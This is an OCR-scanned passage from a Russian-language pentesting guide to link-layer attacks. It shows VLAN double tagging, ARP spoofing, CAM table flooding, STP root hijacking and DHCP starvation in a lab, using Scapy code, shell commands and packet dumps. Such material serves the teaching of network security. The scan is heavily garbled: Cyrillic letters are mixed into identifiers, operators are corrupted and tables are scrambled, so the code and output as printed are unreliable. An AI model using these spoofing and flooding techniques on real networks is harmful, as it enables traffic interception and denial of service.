1639 189.024235514 02 cl d /f ее • !
1640 189.23986749~ 02 cl ·dc /t 6е J
1642 189.340848978 с1,со 87:сс:ее
1643 189.340849529 С1<со 87·сс-0е
Length lnfo
VГ.;
69 Advert1sement Reqllest
102 Summar·y AdvertJsement, Rev1s1on· 19
490 StJbset Advert1sement, Revis1on: 19,
102 Sumшary Advert1sement, Revisiori; 20
510 Subset AdvertJseme11t, Rev1s1on· 20,
94 Sum,r,мy AdvortJsement, Rev1sion 21
1
9Q :mmary Adver t1sement, RevJ.s-1011 • 21
5lt <; ,ьset Advertisement, Revis1on: 21,
99 ~umm~'HY Adve1 tisemeot, Rev1sion: 22
5.34 Sobset Advertisement, Revision: 22,
94 tнnmary Advert1scr-,ent, Revision· 23
226 Subsct Mv•rt i sement. Revв1on: 23,
99 Sumщмy Advert1sem~nt, Revis1on· 23
226 Sнbset Advert1sement, Rev1sioп. 23,
tOP/11 P/IHP/PAgP /UDLD
СОР/VТР DTP/PAgP/UDLD
СОР/VТР DTP/PAqP/UOLD
COP/VTPIDTPIPAgP /UOLD
СОР VTP ОТР PAgP. UDLO
CDP/VТP/DTP1fAgP UDLD
СОР /VTP/OTP/PAoP /UOLD
COP/VTP/DTP/PAqP /UDl О
Рис. 2.22. Дамп трафика во время инъекции VТР
Со reS\'l#sl1O1,, vlan Ь 1·
CoreSW#show vlan brief
VLAN Name
1
defaLJl t
1002 fddi-default
1003 token-ring-default
1004 fddinet -default
1005 trnet-default
CoreS\•l#I
Status
Ports
active
Gi0/1, Gi0/2, Gi0/3, Gil/0
Gil/1, Gil/2, Gil/3
act/Ul1Sl!p
act/ LIПSLIP
act/Ul1Sllp
act/LJПSLIP
Рис. 2.23, База данных VLAN на коммутаторе после инъекции
Глава 2
38
Атака двойного тегированиS1
Атака двойного тегирования основана на использовании особенностей инкапсуля­
ции
802.1 Q в сетях Ethemet. В большинстве случаев коммутаторы исполняют
802.1 Q. Это открывает путь для
только один уровень процесса, деинкапсуляции
эксплуатации, поскольку такая особенность позволяет пентестеру скрыть в кадре
Ethemet вторую метку 802.1 Q.
Вот как в деталях происходит атака (рис. 2.24-2.26):
□ Злоумышленник собирает кадр Ethemet с двумя тегами и отправляет его в сто­
рону коммутатора. VLAN
m первой метки 802.1 Q должна совпадать со значе­
нием Native VLAN порта, находящегося в магистральном режиме. Дrlя удобства
восприятия представим, что первая метка 802.1 Q будет VLAN
1, а вторая мет­
ка 802.lQ- VLAN 100;
Тwо 802.1 Q Tags
802.1Q ТRUNK
----
VLAN 100
SW2
Рис. 2.24. Схема атаки DouЫe Tagging
GW
--
SW1
802.1 Q ТRUNK
--
SW2
Рис. 2.25. Полигон для атаки DouЫe Tagging
VLAN 100
Большой гайд по пентесту канального уровня сети
39
Devlce
IP Address
Darker
10.10.100.1
Nefarlan
10.10.200.1
GW
10.10.100.254 [G0/0.100)
GW
10.10.200.254 [G0/0)
Рис. 2.26. Адресация для тестового полигона
□ Кадр попадает на коммутатор SW 1. Коммутатор проверяет первые четыре байта
метки 802.IQ. Коммутатор видит, что кадр предназначен для VLAN 1, которая
в его конфигурации является сетью Native VLAN. Коммутатор SWl уничтожает
эту метку. В это же время вторая метка VLAN 100 остается целой и никуда не
пропадает.
INFO
Native VLAN - это специальный VLAN, к которому коммутатор ассоциирует все кадры
без тerE;i 802.1 а. По умолчанию идентификатор Native VLAN равен единице.
□ Далее коммутатор SW2 проверяет только внутреннюю метку 802.1 Q и видит,
что данный кадр предназначен для сети VLAN 100. Этот коммутатор отправляет
кадр на порт, который принадлежит сети VLAN
100, и кадр достигает своего
пункта назначения.
Воспользуемся
Scapy, чтобы собрать широковещательный кадр Ethemet с двумя
метками 802.IQ. Также будет добавлен слой ICMP, чтобы наглядно показать, как·
кадр доберется до назначения и ответит на фальсифицированный запрос ICMP. Оr­
правим
этот
запрос
якобы
от
машины
Nefarian
под
IР-адресом
10.10.200.1
(рис. 2.27).
»> frame = Ether(dst="FF:FF:FF:FF:FF:FF")
>>> first_DO'ГlQ_tag = DotlQ(vlan=l)
>>> second_DOTlQ_tag = DotlQ(vlan=l00)
»> ip_packet = IP(src="l0.10.200.1", dst="l0.10.100.1")
»> iспр_ layer = JCMP ()
>>> crafted = frame / first_DOTlQ_tag / second_DOTlQ_tag / ip_packet / icrrp_layer
»> sendp(crafted, iface="eth0", count=40, loop=0, verbose=l)
Как видим, пакет прибежал на хост назначения, но с одной меткой VLAN 1D 100,
поскольку первый тег VLAN 1 был уничтожен первым коммутатором SWl. Имейте
в виду, что это односторонняя атака. Возможно, она будет полезна при нападении
на сегмент DMZ во время пентеста.
40
No.
,....
S..,a,
16... 619.4601- 10.10.100.1
16_ 619.6481_ 10.10.200.1
16... 619.6494_ 10.10.200.1
16... 619.6502_. 10.10.100.1
16... 619.6507_ 10.10.100.1
16... 619.8485_ 10.10.200.;1
16... 619.8498_ 10.10.200.1
16... 619.8523_ 10.10.100.1
16... 619. 8528.. 10 .10 .100 .1
16... 620. 0283- 10 .10. 200 .1
16... 620.02.94_ 10.10.200.1
16... 620.0306_ 10.10.100.1
16... 620.0311- 10.10.100.1
16... 620.2285_ 10.10.200.1
16... 620.2297- 10.10.200.1
16... 620.2298_ 10.10.100.1
16 ... 620.2312.... 10.10.100.1
--
10.10.200.1
10.10.100.1
10.10.100.1
10.10.200.1
10.10.200.1
10.10.100.1
10.10.100.1
10.10.200.1
10.10.200.1
10.10.100.1
10.10.100.1
10.10.200.1
10.10.200.1
10.10.100.1
10.10.100.1
10.10.200.1
10.10.200.1
Глава 2
Pn,toa,I
Le,,gth Info
IСМР
IСМР
IСМР
ICMP
ICMP
ICMP
ICMP
IСМР
IСМР
ICMP
ICMP
ICMP
IСМР
ICMP
ICMP
IСМР
IСМР
64 Echo (ping) reply
56 Echo (ping) request
60 Echo (ping) request
64 Echo (ping} reply
64 Echo (ping} reply
56 Echo (ping) request
60 Echo (ping) request
64 Echo ( р ing) reply
64 Echo (ping) reply
56 Echo (ping) request
60 Echo {ping) request
64 Echo (ping) reply
64 Echo (ping) reply
56 Echo (ping) request
60 Echo (ping) request
64 Echo (ping} reply
64 Echo (ping} reply
> Frame 1563:
64 bytes on wire {512 bits), 64 bytes captured {512 bits) on interface 0
Ethernet II, 5rc: NexoComm_00:0b:00 {00:50:00:00:0Ь:00), Dst: 50:00:00:0а:00:00 (50:00:00:0а
v 802.lQ Virtual LAN, PRI: 0, OEI: 0, ID: 100
000 ............. = Priority: Best Effort (default) (0)
... 0 ............ • DEI: IneligiЫe
.... 0000 0110 0100 = ID: 100
Туре: 1Pv4 (0х0800)
Padding: 0000000000000000000000000000
Trailer: 00000000
v Internet Protocol Version 4, Src: 10.10.100.1, Dst: 10.10.200.1
0100 .... = Version: 4
.... 0101 = Header length: 20 bytes (5)
Differentiated Services Field: 0х00 (DSCP: CS0, ECN: Not-ECT)
Total Length: 28
Identification: 0хЫ2а (45354)
Flags: 0х0000
... 0 0000 0000 0000 = Frag~ent offset: 0
Time to live: 64
Protocol: IСМР (1)
Header checksum: 0х89а0 [validation disaЬled]
Рис. 2.27. Успешные ICMP echo и герlу в сторону машины Darker
Сетевая разведка
и перехват трасрика с помощью ARP
ARP Harvesting
Протокол ARP может быть очень полезен в рамках сетевой разведки. Сканирование
ARP позволяет провести перечисление активных хостов и имеет небольшое пре­
имущество перед IСМР-сканированием, поскольку трафик ICMP в корпоративной
сети может быть ограничен, а то и вовсе выключен.
Проблема сканирования ARP состоит в том, что это очень шумный способ сетевой
разведки. С этим способом нужно быть осторожным, чтобы не спровоцировать
Большой гайд по пентесту канального уровня сети
тревогу систем безопасности
41
IPS/IDS. Да и на порту, к которому ты подключен,
может быть сконфигурирован Storm Control, блокирующий порт при аномальном
широковещательном трафике (трафик протокола ARP - широковещательный).
С помощью ARPScanner.py (http://github.com/casterbytethrowback/NetworkExploitation/
ЫoЬ/main/ARPScanner.py) мы можем обнаружить активные хосты в сети 10.1 .1.0/24
и их МАС-адреса. В моем случае тестовая сеть маленькая , но тем не менее скани­
рование дает результаты (рис . 2.28).
caster@ kali :~$ s udo py th onЗ ARPScanne r.py - t 10. 1.1 . 0/2 4 -i eth0
:0\dheimcilPWИ : ~/NetworkExploitation $
sudo pythonЗ ARPScanner.
-t 10.1.1.0/24 -i eth0
50:00:00:01:00:00 - 10.1.1.2
а0:50:00:00:0з:00 - 10.1.1.5
50:00:00:02:00:00 - 10.1.1.254
~0\dheimcilPWИ : ~/NetworkExploitation $
Рис . 2.28. Результат АRР-сканирования
ARP Cache Poisoning
Техника этой сетевой атаки заключается в использовании недостатков протокола
ARP. Абсолютно любой хает в сети может вызывать АRР-запросы и принимать их,
они это делают без механизма аутентификации (в протоколе ARP не предусмотрен
механизм аутентификации), поэтому все хосты доверяют друг другу. Злоумышлен­
ARP в сторону цели А
ARP компьютер атакующего пози­
нику достаточно отправить фальсифицированные ответы
и цели В . С помощью подделывания ответов
ционируется целью А для цели В и наоборот, тем самым встав посередине. Это
создает условия для перехвата трафика.
На картинке ниже представлен пример отравления кеша ARP (рис. 2.29).
Перейдем к практике . Для начала необходимо переключить наш интерфейс в не­
разборчивый режим и разрешить форвардинг между интерфейсами. Иначе два хос­
та потеряют связность между собой, ведь трафик будет идти через нас, а форвар­
динга между интерфейсами нет.
cast e r@kali: ~$ ifconfig eth0 pr omisc
cas ter@kal i : ~$ sudo s ysct l -w net .ipv4 . ip fo rward=l
С
помощью
скрипта
ARPSpoofer.py
(https://github.com/casterbytethrowback/
NetworkExploitation/ЫoЬ/main/ARPSpoofer.py)
запускаем
процесс
отравления
ARP. В качестве первой цели укажем машину на Windows с IР-адресом 10.1 .1.2,
в качестве второй - FТР-сервер с адресом 10.1 .1.5.
caste r @kali :~$ sudo py th o n З ARPSpoo fer. py - tl 10.1 .1 .2 - t2 10 .1.1 .5 - i eth0
После этого можно переходить к этапу прослушивания сетевого трафика (рис . 2.30).
Глава 2
42
53:BE:DB :93:1F:BB
10.1.1.5
Router ARP ТаЫе Record after Poleonlng
10.1.1.2
Sendlng hlke
ARP reponses
CF:OF:C2:D8:E8:87
TARGETB
---+
..-
---+
>--------"1...---------t . . 10.1 .1.10
CF:OF:C2 :D8:E8:97
Sendlng fake
ARP reponses
TARGETA
Client ARP таые Record after Polsonlng
10.1.1.6
10.1.1 .2
58:8B:1D:BF :32:C3
Рис. 2.29. Схема атаки на протокол ARP
Рис. 2.30. Перехваченный трафик FTP
CF:OF:C2:D8:E8:97
43
Большой гайд по пентесту канального уровня сети
Переполнение
....
ассоциативнои памяти коммутатора
Иногда такая атака называется переполнением таблицы МАС-адресов. Принцип
атаки
состоит в том,
чтобы
вызвать переполнение коммутационной матрицы.
В случае чего коммутатор, грубо говоря, превращается в хаб и начинает рассьmать
поступающие кадры во все порты, что вызывает идеальные условия для перехвата
трафика. Вызывать переполнение очень просто, ведь у коммутаторов ограничен
размер таблиц МАС-адресов . При заполнении таблицы МАС-адресов злоумышлен­
ник сможет видеть все рассылаемые кадры из всех портов (рис. 2.31).
Воспользуемся Scapy, чтобы провести такую атаку. В качестве МАС-адреса источ­
ника пусть будет рандомизированный МАС-адрес, каждый новый генерирующийся
кадр будет с новым МАС-адресом . МАС-адресов назначения это тоже касается.
САМ ТаЫе Overflow Attack
Рис. 2.31. САМ ТаЫе Overflow
f!Г-~
No
- --~ - -
--~- ~~ -
-
-
Source
Tim•
46771 745.145928704 7е 6e. ld:b8.a(
ае
- -- - - --Dest,nat,on
86.90. l ' 60·ad· f7
Protocol
L00P
Lenqtt,
lnlo
14 [1·1~\ fo,mE-r1
Р,н ~Pt 1
,.
46792 745 149319668 34:Ь6:7е:Ы:d5:с3
46793 745.149521316 Ье:сЬ.fб:79:62:аа
46794 745.149640239 16:5c:fd:fd:16:cc
62 bd.fd.89 fб·се
fa.16:ee:dc.ld·ld
a2:00:ed:ba:b6:25
LOOP
LOOP
LOOP
Рис. 2.32. Дамп трафика в момент проведения атаки
14 [l•!a\fo1med Parke!]
14 1l·!alfo1med Pack~t]
14 [t-1a\fo1med Packet]
44
Глава 2
Далее с помощью метода sendp выполняем рассылку фиктивных кадров
Ethemet.
Задав loop = 1, зациклим отправку этих кадров (рис. 2.32).
>>> malicious_frames = Ether(src=RandМAC(), dst=RandМAC())
>» sendp(malicious_frames, iface="ethO", loop=l, verbose=l)
Таблица МАС-адресов коммутатора до атаки -
на рис. 2.33.
Таблица МАС-адресов коммутатора после атаки -
на рис. 2.34.
Пока таблица МАС-адресов не заполнена, коммутатор будет передавать все кадры
из всех портов, используя широковещательную рассылку.
CoreSW#show mae address-taЫe eount
Мае
Entries for Vlan 1 :
Dynamie Address Count
Statie Address Count
Total Мае Addresses
3
0
3
Total М ае Address Spaee AvailaЫe: 7981
Рис. 2.33. Таблица МАС-адресов коммутатора до атаки
CoreSW#shov, mac
Мае
addre s s-taЫe
eount
Entries for Vlan 1 :
Dynamie Address Count
Statie Address Count
Tota l f1ae Addresses
7981
0
7981
Total Мае Address Space AvailaЫe: 7981
Рис. 2.34. Таблица МАС-адресов коммутатора после атаки
STP Root Hijacking
Как работает SТР
STP необходим для того, чтобы обеспечить отказоустойчивость компьютерной сети
на канальном уровне. Для этого блокируются избыточные каналы, чтобы не вы­
звать в сети широковещательный шторм. По моему мнению, STP- это устарев­
ший метод организации отказоустойчивости на уровне L2, учитывая, что есть сис­
тема агрегирования коммутационных каналов и технология Storm Control.
Когда топология STP только собирается, назначается специальный корневой ком­
мутатор (иначе говоря, root bridge). Выбор основывается на специальном значении
приоритета (по умолчанию это значение эквивалентно 32 768). У всех коммутато-
Большой гайд по пентесту канального уровня сети
45
ров в домене STP это значение одинаковое, поэтому выбор определяется сложени­
ем следующих параметров:
□ значение приоритета 32 768;
□ МАС-адрес коммутатора.
Коммутатор, у которого меньше МАС-адрес, станет корневым коммутатором. Про­
изводители сетевых устройств назначают МАС-адреса своим детищам последова­
· тельно. Чем старее устройство, тем его МАС-адрес меньше. Or этого в продакшене
корневым коммутатором часто становится какой-нибудь древний свитч! Пропуск­
ная способность сети от этого, конечно, страдает.
После того как прошли выборы корневого коммутатора, остальные свитчи выби­
рают порты, которые смотрят в сторону корневого коммутатора . Их используют
для форвардинга трафика. Затем будут выбраны порты, которые заблокируются на
логическом уровне. Таким образом STP позволяет избежать возникновения комму­
тационного кольца, вызывающего широковещательный шторм.
Атака
Но если в домене STP внезапно появится новый коммутатор, приоритет которого
ниже, чем приоритет текущего корневого коммутатора, будет выбран новый корне­
вой коммутатор . Таким образом, изменяя структуру топологии STP, можно пере­
хватывать легитимный сетевой трафик (рис. 2.35).
SW1
Gi0/0
GI0/2
Gi0/3
10.1.1.100
,, ,,
---
,, ,,
,, .,
-- -
Gi0/1
NON-ROOT
' ' , Gi0/2
Gi0/1
Gi0/1
----
Gi0/3
N ON-ROOf
BRIDGED!
br-evil
Attacker
Рис. 2.35. Схема атаки на STP
10.1.1.200
Глава 2
46
Дпя начала переведем наши физические интерфейсы в неразборчивый режим, соз­
дадим мост br-evil и назначим этому мосту два интерфейса ethO и ethl:
caster@kali:~$ sudo ifconfig eth0 promisc
caster@kali:~$ sudo ifconfig ethl promisc
caster@kali:~$ sudo brctl addЬr br-evil
caster@kali:~$ sudo brctl addif br-evil eth0
caster@kali:~$ sudo brctl addif br-evil ethl
caster@kali:~$ sudo ifconfig br-evil promisc
caster@kali:~$ sudo ifconfig br-evil up
Теперь нужно разрешить форвардинг трафика между интерфейсами.
caster@kali:~$ sudo sysctl -w· net.ipv4.ip_forward=l
Нам пригодится Scapy -
соqрать специальный SТР-фрейм. Необходимо импорти­
ровать модуль для работы с протоколами L2.
>>> from scapy.layers.12 iщ:,ort *
Затем собираем необходимый кадр
STP с наименьшим значением МАС-адреса
в переменных src, rootmac и bridgemac. И напоследок зациклим отправку этого фрейма
раз в 3 секунды:
>» frame = Ether(src="00:00:00:00:00:11", dst="01:80:C2:00:00:00")
»> frame /= LLC()/STP(rootmac="00:00:00:00:00:11", bridgemac="00:00:00:00:00:11")
>» sendp (frame, iface="br-evil", inter=3, loop=l, verbose=l)
INFO
Для рассылки служебных ТСN-сообщений STP использует МАС-адрес мультикастовой
рассылки 01:80:С2:ОО:ОО:ОО.
После отправки созданного нами фрейма видим сообщения STP TCN. Они исполь­
зуются для того, чтобы коммутаторы в домене STP обменивались служебной ин­
формацией между собой (рис. 2.36).
Состояние STP на коммутаторе SWI после атаки:
VLAN000l
Spanning tree enaЫed protocol rstp
Root ID
Priority
32769
Address
5000.0007.0000
Cost
4
Port
1 (GigaЬitEthernet0/0)
Hello Time 2 sec Мах Age 20 sec Forward Delay 15 sec
32769 (priority 32768 sys-id-ext 1)
Bridge ID Priority
Address
5000.0008.0000
Hello Time 2 sec Мах Age 20 sec Forward Delay 15 sec
Aging Time 300 sec
Role Sts Cost
Interface
Prio.Nbr Туре
Gi0/0
Gi0/1
Root FWD 4
Desg FWD 4
128.1
128 .2
Shr
Shr
Большой гайд по пентесту канального уровня сети
47
С
)pti,,,,,1 tr,чn !н t ,11
,-F1le Ed1t V1ew Gv Caplt1te Analylf' StcJt1st1cs Telephony W1reless Tools Help
jj O a.f @ _t • t:i 0 О. ~ -t 11 -~ ~- ~ ~ D а О il
-
•
о
T1me
!б ~l
344391588
Source
Dest1nat1on
Protoccl
,0 &е 00•06:Ое:00
01 РА AR 00 •00
Sponn1ng tree - (tor ьr,dges) 80
Span" ng t •е tfor Ьr1dges) ее
Spam11ng tree (for bridQES) 00
~pann no t • fo ь, ldqe ) ее
STP
STP
STP
STII'
60 RST Root : 32768/1/50 ее 06:!!
60 RST Root • 32768/1/50 ее О!!; 0
Бе RST Root • 32768/1/50 ее ое:е
55 cont. Root • е;в1ве:ее ее ее:е
OtJ
',р ir1ri111,J
t'r
r1Q<•
,
U1J
\11
!,{1 ]Щ11,
"(; 1!1111 r, ~
1 Т• 1
r, '
1 f(J•
50 00 00 О,1 00 1)()
50 00 00 0<1 00 00
, 1 f,
:... ' J r 1 ф
I
tJ()
'-> 1 t 1
')р,11н11111J
t1,"
!f(1r
tJr1rioe
1
00
\ТР
h) 1 "1 ,J
blJ T(11,1l,1,1:,-
,. 35382564]
,, 56 376789268
39 5L 4 '2622799
se ее· ее ев ее ее
11} ')Ь
1>0 llO f)(J
4/HO/Jb')}
11 )б 48 78.~4б•)"
4/ 56 847()92850
,,
ны.~9.,4
эе е& ее е1 .ее
,в
э. е~
ОН
(ll!
11
.~ а_в 1
14 s 3864!8819
4_ s з '7533~99
se ее ее еа ее эе
se 00 е аа е е
ltfWBIRt411WiёWIOl•I•l 1 Gl•i•M•i
47 se J/ь4Ы9 1 ,ь ее ~u &~ еа е~
4 s~ 011,296 '8 se 00 ее 08 ее· ее
lenqth
DTP
DTP
CDP!VfP!DlPl~AqP/Ui LD
CDP/VТР /DTP / PAgP /UOLD
CDP '\IТР /ОТР IPAqP /UOLD
lnfo
i)
Trunk rotocol
nam1c Trunk Protocol
Рис. 2.36. Дамп трафика во время атаки на STP
SW1
__..,.
..,_
__..,.
..,_
GI0/2
,,
,,
GI0/1
Gi0/2
___,.
___,.
..,_
__..,. Gi0/1
Gi0/3
GI0/1
..,_
..,_
___,. GI0/3
..,_
NOT-ROOT
NON-ROOT
10.1.1.100
BRIDGED!
br-evil
Attacker
ROOT BRIDGE ROLE
Рис. 2.37. Атакованная топология STP
1·
1
i
1'
11
ЫМ✓#ММММ■,,ilЬНМЕММ
бО Oynam1c
9tJ
NON-ROOT
t , ' ,
1,(11
4
DТР
iffiliiiililii#MPМMii!tMliil
,
,,
N( \ l'
1~
90 Oynam1c Trunk Protocol
60 Dynami.c тп,nk Protoco\
90 o namic Trunk Protocol
LDP, V1P/D Р/РА9Р1~~ ll
CDP Nf P!ОТР !PAqP/UOLD
GiOlO
1•
J'
t 1 •~1
! 1
' t
48
Глава 2
Gi0/2
Gi0/3
Gil/0
Gil/1
Gil/2
Interface
Desg FWD 4
Desg F'дD 4
Desg FWD 4
Desg FWD 4
Desg FWD 4
Role Sts Cost
128.3
Shr
128.4
Shr
128.5
Shr
128. 6
Shr
128.7
Shr
Prio.Nbr Туре
Gil/3
Desg FWD 4
128.8
Shr
Состояние SТР на коммутаторе SW2 после атаки:
VLAN000l
Spanning tree enaЫed protocol rstp
Root. ID
Priority
32769
Address
5000.0007.0000
Cost
8
Port
1 (GigaЬitEthernet0/0)
Hello Time 2 sec Мах Age 20 sec Forward Delay 15 sec
32769 (priority 32768 sys-id-ext 1)·
Bridge ID Priority
5000.0009.0000
Address
Hello Time 2 sec Мах Age 20 sec Forward Delay 15 sec
Aging Time 300 sec
Interface
Role Sts Cost
Prio.Nbr Туре
Gi0/0
Root FWD 4
128.1
Shr
Gi0/1
Altn BLK 4
128.2
Shr
Gi0/2
128.3
Desg FWD 4
Shr
Gi0/3
Desg FWD 4
128.4
Shr
Gil/0
Desg FWD 4
128.5
Shr
Gil/1
128.6
Desg FWD 4
Shr
Gil/2
128.7
Shr
Desg FWD 4
Interface
Prio.Nbr Туре
Role Sts Cost
--------------------------Gil/3
Desg FWD 4
128.8
Shr
Состояние STP на коммутаторе SWЗ после атаки:
VLAN000l
Spanning tree enaЫed protocol rstp
Root ID
Priority
32769
Address
5000.0007.0000
4
Cost
1 (GigaЬitEthernet0/0)
Port
Hello Time 2 sec Мах Age 20 sec Forward Delay 15 sec
32769 (priority 32768 sys-id-ext 1)
Bridge ID Priority
Address
5000.ОООа.0000
Hello Time 2 sec Мах Age 20 sec Forward Delay 15 sec
Aging Time 300 sec
Interface
Role Sts Cost
Prio.Nbr Туре
Gi0/0
Gi0/1
Root FWD 4
Altn BLK 4
128.1
128 .2
Shr
Shr
Большой гайд по пентесту канального уровня сети
12 8.3
Shr
Shr
128 .4
Shr
128 .5
Shr
128.6
128.7
Shr
Prio.Nbr Туре
Desg FWD 4
Desg FWD 4
Desg FWD 4
Desg FWD 4
Desg FWD 4
Rol e Sts Cost
Gi0/2
Gi0/3
Gi l /0
Gil/1
Gil/2
Interface
--------- -------- --------------------------------
------------------Gi l /3
49
Shr
128.8
Desg FWD 4
Теперь трафик побежит через наш компьюtер . Для наглядности инициирую IСМР­
запросы от компьютера с IР-адресом
10.1.1.100 до компьютера под IР-адресом
10.1.1.200 (рис. 2.38).
LI □ • @ .t 8 ~ 1:!i о. f- ➔ () •f- ➔• 11 Е а 1:1 о iD
,~--=----~=-:
No
"
Тim~
10.080000
2 0 . 000098
З 1. 881282
4 1.881298
5 2.882586
б 2 . 882681
7 3.883853
8 З.803995
9 4 .885866
18 4 . 885144
- -
Destinatюn
10.1.1.100
10 . 1. 1.280
18. 1. 1. 188
18.1.1 . 288
18,1. 1. 188
18 . 1. 1.288
18 . 1.1 . 188
18 . 1. 1. 288
18 . 1. 1. 188
18 . 1. 1.288
10 . 1. 1.200
18 . 1.1 . 188
18 . 1. 1, 288
18 . 1. 1.180
18 . 1. 1.288
18 . 1. 1. 188
18 . 1. 1.288
18 . 1. 1.188
10 . 1. 1. 288
18.1.1 . 188
"'
--~ --
-
Sourc:e
P1<)tv~ ,1
IПIP
ICHP
ICHP
IСНР
ICHP
ICHP
ICHP
ICMP
ICMP
ICHP
lt>rтqth
+
lnfo
98 Echo !p1n9) request
98 Echo (p1n9) repty
98 Echo (pin9) request
98 Echo (p1n9J repty
98 Echo (ping) request
98 Echo (ping) repty
98 Echo ( pin9) request
98 Echo (pin9} repty
98 E<ho ( ping) request
98 Echo ( in ) ге t
1d 0 ОхЗЗае.
seq=l/256, tt\•64 (rep\y 1n 21
seq=l/256, tt\=64 ( request in 1)
seq•2/512, ttl=64 (repty in 4)
1d=8хЗ4ае, seq"2/512, ttl=64 (request in З)
1d=8хЗ5ае, seq=З/768, ttt=64 (repty in б)
id=8x35ae, seq=3/768, ttl=б4 (request in 5)
id=8хЗбае, seq=4/1824, ttt=б4 (rep\y in 8)
id•8x36ae, seq=4/1824, ttl•б4 (request in 7)
1d=8x37ae, seq=S/1288, ttl=64 (repty in 18}
id•8x37ae, seq•5/1288, ttl •б4 (re uest in 9)
1d=8хЗЗае,
1d=8хЗ4ае,
Рис. 2.38. Дамп трафика
Вот таким достаточно несложным способом можно перехватывать трафик. При
этом для легитимных хостов видимых признаков атаки нет.
VLAN ID Enumeration
С помощью обнаруженного кадра STP можно понять, в какой сети VLAN вы нахо­
VLAN 1D расположена в заголовке Root Identifier (Root
Bridge System 1D Extension). Его значение эквивалентно значению VLAN 1D на
порту, к которому мы подключены (рис. 2.39-2.41).
дитесь. Информация о
• Frame 6: 60 bytes оп wire (480 bits), 60 bytes captured (480 bits) оп i nterface eth0, id 0
• IEEE 802.3 Ethernet
, Logical-Link Control
• Spanning Tree Protocol
• Protocol Identifier : Spanning Тгее Protocol (0х0000)
Protocol Version Identifier : Rapid Spanning Тгее (2)
BPDU Туре: Rapid/Multiple Spanning Тгее (0х02)
• BPDU flags: 0х3с, Forwarding, Learning, Port Role: Des i gna ted
• Root Identifier: 32768 / 222 / 50:00:00:02 :00:00
Root Bridge Priority: 32768
Root Bridge Syst~~ ID Extension: 222
Root Bridge System ID: 50 :00 :00:02:00:00 (50:00:00:02:00:00)
Root Path Cost: 0
, Bridge Identifier: 32768 / 222 / 50:00 :00 :02:00:00
Рис. 2.39. Заголовок Root ldentifier
Глава 2
50
SWl#show mae add
SWl#show mae address-taЫe
Мае Address ТаЫе
Vlaп
Мае
Address
Туре
Ports
DYNAMIC
Gi0/l
1
5000.0003.0000
222
0050.0000.0400
DYNAMIC
Gi0/2
DYNAMIC
Gi0/l
222
5000.0003.0000
е287.072Ь.9Ь06
222
DYNAMIC
Gi0/0
Total Мае Addresses for this eriterioп: 4
S\~l#sho11 vlan Ьг
РОС
VLAN Name
Status
Ports
1
default
111 Tech
222 Dark
400 VLAN0400
1002 fddi-default
1003 trcrf-default
1004 fddiпet-default
1005 trbrf -default
SWl#I
aetive
Gil/0, Gil/1, Gil/2, Gil/3
aetive
aetive
Gi0/0, Gi0/2, Gi0/3
active
act/unsllp
act/unsup
act/unsup
act/unsup
Рис. 2.40. Таблица сетей VLAN на коммутаторе
Рис. 2.41. Схема сети из EVE-NG
Большой гайд по пентесту канального уровня сети
51
Истощение и · подмена DНСР-серверо
DHCP Starvation
Эта атака основана на проведении рассылок огромного количества сообщений
DHCPDISCOVER с целью истощить адресное пространство на сервере DHCP. Сервер
DHCP будет реагировать на каждый запрос и выдавать IР-адрес. После переполне­
ния допустимого адресного пространства сервер DHCP больше не сможет обслу­
живать новых клиентов в своей сети, выдавая им IР-адреса (рис. 2.42).
DHCP Starvation Attack
Рис. 2.42. DHCP Starvation Attack
Протестируем эту атаку на небольшой локальной сети. DНСР-сервер уже настроен
на маршрутизаторе GW. Подсеть -
10.1.1.0/24 (рис. 2.43).
С помощью Scapy вызовем рассылку поддельных сообщений DHCPDISCOVER. В качест­
ве МАС-адреса назначения и IР-адреса назначения выступят адреса широковеща­
тельной
рассылки. Добавим
слой
протокола
UDP,
поскольку
протокол
DHCP
использует его . В шаблоне opt ions укажем, что мы будем рассылать пакеты DHCP
типа orscoVER и в конце зациклим бесконечную отправку генерируемых фреймов
(рис . 2.44-2.46).
»> malicious_dhcp_discover: Ether(src:RandМAC(), dst:"FF:FF:FF:FF:FF:FF")
>» malicious_dhcp_discover /: IP (s r c:" 0. 0.0 . 0" ,dst:"255.255.255.255")
>>> malicious_dhcp_discover /: UDP(sport:68, dport:67)
>>> malicious_dhcp_discover /: ВООГР(ор:l, chaddr : RandМAC())
»> malicious _dhcp_discover /: DHCP (options: [ ( 'message-type', 'discover'), ( 'end')])
»> sendp(malicious_dhcp_discover , iface:"eth0", loop:l, verbose:l)
Сервер DHCP выведен из строя, теперь можно приступить к созданию его ложного
аналога.
Глава 2
52
10.1.1.254
GW
DHCP Server for 10.1.1.0/24 Network
--+
+---+ 1---------■
>------+---------+--
Windows Desktop
Future DHCP Client
FТР Server
10.1.1.5
Рис. 2.43. Полигон для проведения атаки на DHCP
Captur1nq from t>thO
f 1te
fd1t
Y._1ew
§о
(арtше
~nalyze
t)f O tfJ, @ .!. 118 ~ (.'!!}
1
0.
~tat1st1cs
f-
Telephony
➔
11
•f-
Wiretess
Joo{s
➔• 11! :
D
-
Г
No
T1me
Source
3137 _ 1132 .1404853_ 0. 0. е. е
3137-1132.1409623- в.в.в.в
3137_ 1132.1414825_ 0.0.0.0
3137_ 1132.1419833- в.в.в.в
3137_ 1132.1425219- в.в.в.в
3131_ 1132.1430392_ е.е.в.е
3137_ 1132 .1435345- е. е. е. е
3137-1132.1440272- в.в.в.в
3137_ 1132.1445088- в.в.в.в
3137_ 1132.1450148- 6.0.0.0
3137_ 1132.1455307- 0.8.0.0
3137_ 1132.1460359_ 0.0.0.0
3137_ 1132.1465689_ в.в . в.в
3137-1132.1472256_ в.в.в.в
3137.. 1132.1477587- в.в.в.в
3137.. 1132. 1482452- е. е. е. е
3137_ 1132.1487231- в.в.в.в
31)7_ 1132.1492735_ 6.8.0.jЭ
Destinatюn
Protocot
255. 255. 255. 255
255. 255. 255. 255
255. 255. 255. 255
255. 255. 255. 255
255. 255. 255. 255
255. 255 . 255. 255
255. 255. 255. 255
255. 255. 255. 255
255. 255. 255. 255
255. 255. 255. 255
255. 255. 255. 255
255. 255. 255. 255
255. 255. 255. 255
255. 255. 255. 255
255. 255·. 255. 255
255. 255. 255. 255
255. 255. 255. 255
255. 255. 255. 255
DHCP
DHCP
DHCP
DHCP
DHCP
ОНСР
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
' ОНСР
DHCP
-
!jetp
С1
Length
С.
- - - -
-- --- ----- с--=-1 +
lnfo
оп
1nte1·face etl10. 1d 0
Tr':'e Pr·otoc.ot
01 ~о
8
